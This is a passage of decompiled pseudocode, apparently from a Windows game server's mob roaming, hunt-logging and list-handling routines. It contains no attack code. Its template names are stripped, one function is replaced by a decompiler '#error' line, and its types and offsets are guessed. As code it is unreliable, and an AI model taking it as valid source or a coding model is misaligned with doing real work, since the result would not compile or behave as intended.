FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); result = 0; } return result; } //----- (004A1A60) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ItemLotAnalyser::LotChanger *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = *(_DWORD *)&ele->item; *(_DWORD *)(v3 + 4) = ele->delta; return 1; } // 4A1A75: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004A1A90) -------------------------------------------------------- #error "4A1A90: undefined or illegal type '#734' (funcsize=65)" //----- (004A1BA0) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::mhl_SendAll2Log(HuntLog::MobHuntLog *this, #734 *sp) { HuntLog::MobHuntLog *v2; // edi@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // edx@4 char v9; // al@4 HuntLog::MobHuntElement **v10; // ecx@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HuntLog::MobHuntLog::mhl_SendAll2Log"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HuntLog::MobHuntLog::mhl_SendAll2Log"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.baseclass_0.l_Array[v2->baseclass_0.baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.baseclass_0.l_Array; v6 = v3; v7 = v3 < v4; v3 = v5[v3].ls_Next; if ( v7 && (v8 = 3 * v6, v9 = v5[v6].ls_IsActiv, v10 = (HuntLog::MobHuntElement **)&v5[4 * v8 / 0xCu], v9) ) HuntLog::MobHuntElement::mhe_Send2Log(*v10, sp); else HuntLog::MobHuntElement::mhe_Send2Log(0, sp); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HuntLog::MobHuntLog::mhl_SendAll2Log"); } //----- (004A1C90) -------------------------------------------------------- HuntLog::MobHuntElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HuntLog::MobHuntElement *, List *, unsigned __int16, HuntLog::MobHuntElement *), unsigned __int16 *hnd, HuntLog::MobHuntElement *key) { HuntLog::MobHuntElement *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(HuntLog::MobHuntElement *, List *, unsigned __int16, HuntLog::MobHuntElement *); // [sp+8h] [bp-1Ch]@1 HuntLog::MobHuntElement *v8; // [sp+Ch] [bp-18h]@1 HuntLog::MobHuntElement *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (004A1D00) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004A1E20) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::mhl_Logging(HuntLog::MobHuntLog *this, #734 *a2, unsigned __int16 mobid, unsigned int hnd) { HuntLog::MobHuntLog *v4; // esi@1 unsigned __int16 v5; // di@1 HuntLog::MobHuntElement *v6; // eax@1 unsigned __int16 v7; // cx@2 int v8; // eax@4 int v9; // eax@5 unsigned int v10; // ecx@6 HuntLog::MobHuntElement key; // [sp+10h] [bp-14h]@1 int v12; // [sp+20h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HuntingLog::MobHuntLog::mhl_Logging"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HuntingLog::MobHuntLog::mhl_Logging"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = mobid; v12 = 0; key.mobid = mobid; v6 = List::l_Search( &v4->baseclass_0.baseclass_0, (int (__thiscall *)(HuntLog::MobHuntElement *, List *, unsigned __int16, HuntLog::MobHuntElement *))HuntLog::MobHuntElement::mhe_Compare, &mobid, &key); if ( v6 ) { ++v6->number; v7 = v6->number; v6->expgain += hnd; if ( v7 >= 0xFDE8u ) HuntLog::MobHuntElement::mhe_Send2Log(v6, a2); } else { v8 = v4->baseclass_0.baseclass_0.l_Finger.empty; if ( (_WORD)v8 != -1 ) { v9 = (int)v4->baseclass_0.baseclass_0.vfptr->l_AllocA((List *)v4, v8); if ( v9 ) { v10 = hnd; *(_WORD *)v9 = v5; *(_WORD *)(v9 + 2) = 1; *(_DWORD *)(v9 + 4) = v10; } } } --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HuntingLog::MobHuntLog::mhl_Logging"); } //----- (004A1F30) -------------------------------------------------------- void __thiscall CommonList::CommonList(CommonList *this, int size) { CommonList *v2; // esi@1 int v3; // eax@1 int v4; // edx@2 ListStruct *v5; // ecx@4 HuntLog::MobHuntElement *v6; // ebp@4 int v7; // ecx@4 v2 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, size); v2->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2->cl_Array = (HuntLog::MobHuntElement *)operator new__(8 * size); v3 = 0; if ( size > 0 ) { v4 = 0; do { if ( v3 < v2->baseclass_0.l_MaxSize ) { v5 = v2->baseclass_0.l_Array; v6 = v5[v4].ls_Content; v7 = (int)&v5[v4]; if ( !v6 ) *(_DWORD *)v7 = &v2->cl_Array[v3]; } ++v3; ++v4; } while ( v3 < size ); } } // 645424: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004A1FD0) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::MobHuntLog(HuntLog::MobHuntLog *this) { HuntLog::MobHuntLog *v1; // esi@1 v1 = this; CommonList::CommonList(&this->baseclass_0, 50); v1->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; } // 645424: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004A1FF0) -------------------------------------------------------- bool __thiscall MobRoaming::MobRoamingPath::operator<(MobRoaming::MobRoamingPath *this, MobRoaming::MobRoamingPath *rpth) { int v2; // edx@1 int v3; // esi@1 int v4; // eax@5 v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[0]; v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[0]; if ( v2 == v3 && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[4], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[4], v2 == v3) && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[8], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[8], v2 == v3) && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[12], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[12], v2 == v3) ) v4 = *(_DWORD *)&this->mrp_GroupName.ort_Name[16] - *(_DWORD *)&rpth->mrp_GroupName.ort_Name[16] < 0; else v4 = v2 - v3 < 0; return v4; } //----- (004A2040) -------------------------------------------------------- void __thiscall MobRoamingPoint::mrp_Start(MobRoamingPoint *this) { this->mrp_Val._bf0 = 1; } //----- (004A2050) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathGet(int this) { return *(_DWORD *)(this + 7464); } //----- (004A2060) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::som_IsAttackedDuringRoaming(int this) { return (*(_BYTE *)(this + 9008) >> 3) & 1; } //----- (004A2070) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 42; return result; } //----- (004A2090) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (004A20B0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 49) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 49) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 49); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 49); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (004A2110) -------------------------------------------------------- void __cdecl std::fill(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Val) { void *i; // eax@1 int v4; // edi@2 for ( i = _First; i != _Last; *(_WORD *)v4 = *(_WORD *)&_Val->EventIndex[30] ) { memcpy(i, _Val, 0x28u); v4 = (int)((char *)i + 40); i = (char *)i + 42; } } //----- (004A2140) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathSet(void *this, int roaming) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 1866) = roaming; if ( roaming ) *((_WORD *)v2 + 3734) = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"); } //----- (004A21B0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Lbound(std::_Tree,std::allocator,0> > *this, MobRoaming::MobRoamingPath *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@1 int v4; // ebx@2 int v5; // edx@3 int v6; // edx@4 int v7; // edx@5 int v8; // esi@5 result = this->_Myhead; v3 = result->_Parent; if ( !v3->_Isnil ) { v4 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[0]; do { v5 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[0]; if ( v5 == v4 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[4]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[4]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[8]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[8]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[12]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[12]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[16]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[16]; } } } v6 = v7 - v8; } else { v6 = v5 - v4; } if ( v6 >= 0 ) { result = v3; v3 = v3->_Left; } else { v3 = v3->_Right; } } while ( !v3->_Isnil ); } return result; } //----- (004A2220) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (004A2280) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (004A22E0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 49) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 49) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 49) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 49) ); if ( !*(_BYTE *)(v4 + 49) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 49); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (004A2340) -------------------------------------------------------- MobRoaming::PathElement *__cdecl std::copy_backward(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Dest) { MobRoaming::PathElement *v3; // edx@1 MobRoaming::PathElement *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x2Au); } return result; } //----- (004A2370) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x34u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (004A23B0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(MobRoaming::PathElement *_First, unsigned int _Count, MobRoaming::PathElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x2Au); v6 = (char *)v6 + 42; --v5; } while ( v5 ); } } //----- (004A23E0) -------------------------------------------------------- std::list,std::allocator > >::iterator *__cdecl std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::list,std::allocator > >::iterator *v5; // ecx@1 std::list,std::allocator > >::iterator *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v5->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v5; } return result; } //----- (004A2410) -------------------------------------------------------- MobRoaming::PathElement *__cdecl std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, MobRoaming::PathElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::const_iterator v5; // edx@1 MobRoaming::PathElement *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, *(const void **)&v5, 0x2Au); *(_DWORD *)&v5 += 42; } return result; } //----- (004A2450) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingPath::mrp_RegenLoc(MobRoaming::MobRoamingPath *this, SHINE_XY_TYPE *loc) { MobRoaming::PathElement *v2; // eax@1 v2 = this->baseclass_0._Myfirst; if ( v2 ) { if ( this->baseclass_0._Mylast - v2 ) { loc->x = this->baseclass_0._Myfirst->x; loc->y = this->baseclass_0._Myfirst->y; } } } //----- (004A2490) -------------------------------------------------------- void __thiscall MobRoamingPoint::mrp_Next(MobRoamingPoint *this, MobRoaming::MobRoamingPath *roaming) { MobRoamingPoint *v2; // esi@1 __int16 v3; // ax@1 __int16 v4; // cx@2 MobRoaming::PathElement *v5; // ebp@2 int v6; // edx@2 int v7; // ebx@3 signed __int64 v8; // qax@4 int v9; // eax@5 __int16 v10; // cx@6 MobRoaming::PathElement *v11; // eax@6 int v12; // eax@7 __int16 v13; // ax@9 char nm[4]; // [sp+8h] [bp-2Ch]@1 int v15; // [sp+Ch] [bp-28h]@12 int v16; // [sp+10h] [bp-24h]@12 int v17; // [sp+14h] [bp-20h]@12 int v18; // [sp+18h] [bp-1Ch]@12 char _[4]; // [sp+1Ch] [bp-18h]@12 int v20; // [sp+20h] [bp-14h]@12 int v21; // [sp+24h] [bp-10h]@12 int v22; // [sp+28h] [bp-Ch]@12 int v23; // [sp+2Ch] [bp-8h]@12 unsigned int v24; // [sp+30h] [bp-4h]@1 v24 = (unsigned int)nm ^ __security_cookie; v2 = this; v3 = this->mrp_Val._bf0; if ( (unsigned __int16)this->mrp_Val._bf0 >> 8 < 0 ) { if ( v3 & 0x7FFF ) this->mrp_Val._bf0 = v3 ^ (v3 ^ (v3 - 1)) & 0x7FFF; else this->mrp_Val._bf0 = 1; } else { v4 = v3 ^ (v3 ^ (v3 + 1)) & 0x7FFF; v2->mrp_Val._bf0 = v4; v5 = roaming->baseclass_0._Myfirst; v6 = 0; if ( v5 ) { v8 = 818089009i64 * (unsigned int)((char *)roaming->baseclass_0._Mylast - (char *)v5); v7 = (SHIDWORD(v8) >> 3) + (HIDWORD(v8) >> 31); v6 = 0; } else { v7 = 0; } v9 = v4 & 0x7FFF; if ( v9 >= (unsigned int)v7 ) { v10 = v4 | 0x8000; v2->mrp_Val._bf0 = v10; v11 = roaming->baseclass_0._Myfirst; if ( v11 == (MobRoaming::PathElement *)v6 ) LOWORD(v12) = 0; else v12 = roaming->baseclass_0._Mylast - v11; v13 = v10 ^ (v10 ^ (v12 - 2)) & 0x7FFF; goto LABEL_10; } v23 = v6; v22 = v6; v21 = v6; v20 = v6; *(_DWORD *)_ = v6; strncpy(_, v5[v9].EventIndex, 0x14u); v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)nm = 0; strncpy(nm, "-", 0x14u); if ( !ORToken::operator__((ORToken *)_, (ORToken *)nm) ) { ORToken::ORToken((ORToken *)nm, "return"); if ( ORToken::operator__((ORToken *)_, (ORToken *)nm) ) { HIBYTE(v2->mrp_Val._bf0) |= 0x80u; v13 = v2->mrp_Val._bf0 ^ (v2->mrp_Val._bf0 ^ (std::vector>::size(&roaming->baseclass_0) - 2)) & 0x7FFF; LABEL_10: v2->mrp_Val._bf0 = v13; return; } ORToken::ORToken((ORToken *)nm, "rotate"); if ( ORToken::operator__((ORToken *)_, (ORToken *)nm) ) v2->mrp_Val._bf0 = 0; } } } //----- (004A2670) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_NextPathPoint(void *this, int *a2, int dy, int distance, int nextroamingwait) { int v5; // esi@1 int v6; // ecx@1 int v7; // ebx@1 char result; // al@2 int v9; // eax@3 signed int v10; // edx@4 int v11; // ebp@5 int v12; // eax@5 int v13; // edi@7 int v14; // ebx@7 int v15; // edx@8 int v16; // eax@8 int v17; // edi@9 int v18; // edx@9 int v19; // eax@9 v5 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_NextPathPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; *(_BYTE *)nextroamingwait = 0; *(_DWORD *)dy = 0; *a2 = 0; v7 = *(_DWORD *)(v5 + 7464); if ( v7 ) { v9 = *(_DWORD *)(v7 + 4); if ( v9 ) { v10 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)(v7 + 8) - v9)) >> 32) >> 3; v6 = v10 + ((unsigned int)v10 >> 31); } v11 = v5 + 7468; v12 = *(_WORD *)(v5 + 7468) & 0x7FFF; if ( v6 > (unsigned int)v12 ) { v13 = *(_DWORD *)(42 * v12 + *(_DWORD *)(v7 + 4) + 2); v14 = *(_DWORD *)(*(_DWORD *)(v7 + 4) + 42 * v12 + 6); if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v5, v13, v14) <= 0x64 ) { MobRoamingPoint::mrp_Next((MobRoamingPoint *)(v5 + 7468), *(MobRoaming::MobRoamingPath **)(v5 + 7464)); v15 = *(_DWORD *)(*(_DWORD *)(v5 + 7464) + 4); v16 = *(_WORD *)v11 & 0x7FFF; v14 = *(_DWORD *)(42 * v16 + v15 + 6); v13 = *(_DWORD *)(v15 + 42 * v16 + 2); *(_BYTE *)(v5 + 9008) &= 0xF7u; *(_BYTE *)nextroamingwait = 1; } *a2 = v13 - *(_DWORD *)ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v5); v17 = *(_DWORD *)(ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v5) + 4); *(_DWORD *)dy = v14 - v17; *(_DWORD *)distance = DirectDistanceTable::ddt_Distance(&ddt, *a2, v14 - v17); v18 = *(_DWORD *)(v5 + 7464); v19 = *(_WORD *)v11 & 0x7FFF; *(_DWORD *)(v5 + 8992) = *(_DWORD *)(*(_DWORD *)(v18 + 4) + 42 * v19 + 2); *(_DWORD *)(v5 + 8996) = *(_DWORD *)(*(_DWORD *)(v18 + 4) + 42 * v19 + 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 0; } return result; } //----- (004A2890) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_RegenSpotAsNextRoamingSpot(int this) { int v1; // edi@1 int v2; // eax@2 int v3; // esi@3 signed int v4; // edx@4 int v5; // eax@5 int v6; // eax@6 v1 = *(_DWORD *)(this + 7464); if ( v1 ) { v2 = *(_DWORD *)(v1 + 4); if ( v2 ) { v4 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)(v1 + 8) - v2)) >> 32) >> 3; v3 = v4 + ((unsigned int)v4 >> 31); } else { v3 = 0; } v5 = *(_WORD *)(this + 7468) & 0x7FFF; if ( v3 > (unsigned int)v5 ) { v6 = 42 * v5; *(_DWORD *)(this + 8992) = *(_DWORD *)(v6 + *(_DWORD *)(v1 + 4) + 2); *(_DWORD *)(this + 8996) = *(_DWORD *)(v6 + *(_DWORD *)(v1 + 4) + 6); } } } //----- (004A2900) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, MobRoaming::MobRoamingPath *_Keyval) { MobRoaming::MobRoamingPath *v3; // edi@1 std::_Tree,std::allocator,0> > *v4; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@1 std::_Tree,std::allocator,0> >::iterator *v7; // eax@3 std::_Tree_nod,std::allocator,0> >::_Node *_Keyvala; // [sp+Ch] [bp+8h]@1 v3 = _Keyval; v4 = this; v5 = std::_Tree_std::allocator_0>>::_Lbound( this, _Keyval); v6 = v4->_Myhead; _Keyvala = v5; if ( v5 == v6 || MobRoaming::MobRoamingPath::operator<(v3, &v5->_Myval) ) { v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } else { v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Keyvala; } return v7; } //----- (004A2960) -------------------------------------------------------- MobRoaming::PathElement *__thiscall std::vector>::_Ufill(std::vector > *this, MobRoaming::PathElement *_Ptr, unsigned int _Count, MobRoaming::PathElement *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004A2990) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; 